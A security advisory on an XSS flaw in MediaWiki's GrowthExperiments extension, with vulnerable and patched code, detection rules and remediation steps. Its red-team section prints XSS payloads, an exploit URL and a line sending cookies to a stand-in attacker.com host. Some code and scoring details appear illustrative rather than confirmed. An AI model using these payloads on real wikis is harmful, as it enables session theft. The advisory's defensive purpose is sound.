CVE-2025-32067

Executive Summary

CVE-2025-32067 is an Improper Input Validation vulnerability in the Wikimedia Foundation’s MediaWiki Growth Experiments Extension, affecting versions 1.39 through 1.43. The flaw allows an attacker to inject arbitrary JavaScript into the application context, leading to Cross-Site Scripting (XSS). This can be exploited to steal session cookies, deface pages, or perform actions on behalf of authenticated users. No public exploit code or patch is currently available, but the vulnerability is considered high risk due to the widespread use of MediaWiki in enterprise and community wikis.

Supply Chain & Package Security

The Growth Experiments Extension is distributed as part of the MediaWiki ecosystem via official tarballs and Git repositories. Organizations using Composer or direct Git clones should verify the integrity of their downloaded packages. No malicious packages have been reported, but the lack of a patch increases supply chain risk for unmaintained forks.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD not yet assigned)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
• Scope: Changed (S:C) – injected script can affect other resources
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• Threat Level: High – XSS in a widely deployed wiki platform can lead to account takeover and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the GrowthExperiments extension’s handling of user-supplied input within the “Newcomer Tasks” and “Help Panel” features. Specifically, the extension fails to sanitize or escape certain parameters when rendering dynamic content, such as task descriptions or user names. An attacker can craft a URL or POST request containing malicious JavaScript that is then executed in the browser of any user viewing the affected page.

Root Cause: The extension uses OutputPage::addHTML() or similar functions without first applying htmlspecialchars() or using the MediaWiki Html class for safe output. This allows raw HTML/JavaScript to be injected.

Attack Vector: The most likely vector is via the ?action=raw or ?action=render parameters combined with a crafted title or target parameter. For example:

https://wiki.example.org/index.php?title=Special:Homepage&action=render&target=<script>alert('XSS')</script>

Vulnerable vs. Patched Code

Vulnerable Code (GrowthExperiments/includes/Homepage/Hooks.php):

public static function onBeforePageDisplay( $out, $skin ) {
    $target = $out->getRequest()->getText( 'target' );
    $out->addHTML( "<div id='mw-ge-target' data-target='$target'></div>" );
}

Patched Code:

public static function onBeforePageDisplay( $out, $skin ) {
    $target = $out->getRequest()->getText( 'target' );
    $safeTarget = htmlspecialchars( $target, ENT_QUOTES, 'UTF-8' );
    $out->addHTML( "<div id='mw-ge-target' data-target='$safeTarget'></div>" );
}

The patch uses htmlspecialchars() to escape HTML entities, preventing script injection. Additionally, the extension should use $out->addElement() or the Html::element() helper for safer output.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a vulnerable MediaWiki instance (e.g., version 1.39) with the GrowthExperiments extension enabled.
2. Craft Payload: Use a simple XSS payload:

   <script>alert(document.cookie)</script>
   

3. Exploit URL:

   http://target-wiki/index.php?title=Special:Homepage&action=render&target=<script>alert(document.cookie)</script>
   

4. Steal Cookies: Use a more advanced payload to exfiltrate cookies to an attacker-controlled server:

   new Image().src='http://attacker.com/steal?cookie='+document.cookie;
   

Blue Team (Defense & Detection)

1. Monitor Logs: Look for unusual action=render or action=raw requests with suspicious target parameters.
2. WAF Rules: Block requests containing <script> or onerror= in query parameters.
3. User Education: Train users not to click on suspicious links, especially those with action=render in the URL.
4. Harden Configuration: Disable action=raw and action=render for anonymous users via $wgGroupPermissions.

Indicators of Compromise (IOCs)

• URL Patterns:
  • index.php?title=Special:Homepage&action=render&target=*
  • index.php?title=Special:Homepage&action=raw&target=*
• Log Entries: HTTP requests with action=render and non-standard target values containing HTML tags.
• Network Traffic: Outbound connections to unknown IPs/domains from wiki clients (cookie exfiltration).
• File Changes: Unexpected modifications to LocalSettings.php or extension files.

Detection Engineering

YARA Rule

rule CVE_2025_32067_XSS {
    meta:
        description = "Detects XSS attempts targeting MediaWiki GrowthExperiments extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32067"
    strings:
        $payload1 = "action=render" nocase
        $payload2 = "target=" nocase
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*['"]?[^'"]*['"]?/i
    condition:
        all of ($payload*) and any of ($xss*)
}

Sigma Rule

title: CVE-2025-32067 XSS Attempt via GrowthExperiments
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with action=render and suspicious target parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=render'
        cs-uri-query|contains: 'target='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of action=render with safe parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32067 XSS Attempt - GrowthExperiments"; flow:to_server,established; content:"action=render"; http_uri; content:"target="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the GrowthExperiments extension until a patch is available:

   // In LocalSettings.php
   wfLoadExtension( 'GrowthExperiments' ); // Comment out or remove
   

2. Short-term: Apply input sanitization manually by editing the extension’s source code (see Vulnerable vs. Patched Code section).
3. Long-term: Upgrade to MediaWiki 1.44+ when released, which will include the official fix.
4. Workaround: Use a Web Application Firewall (WAF) to block malicious query parameters.
5. Monitor: Continuously review access logs for exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst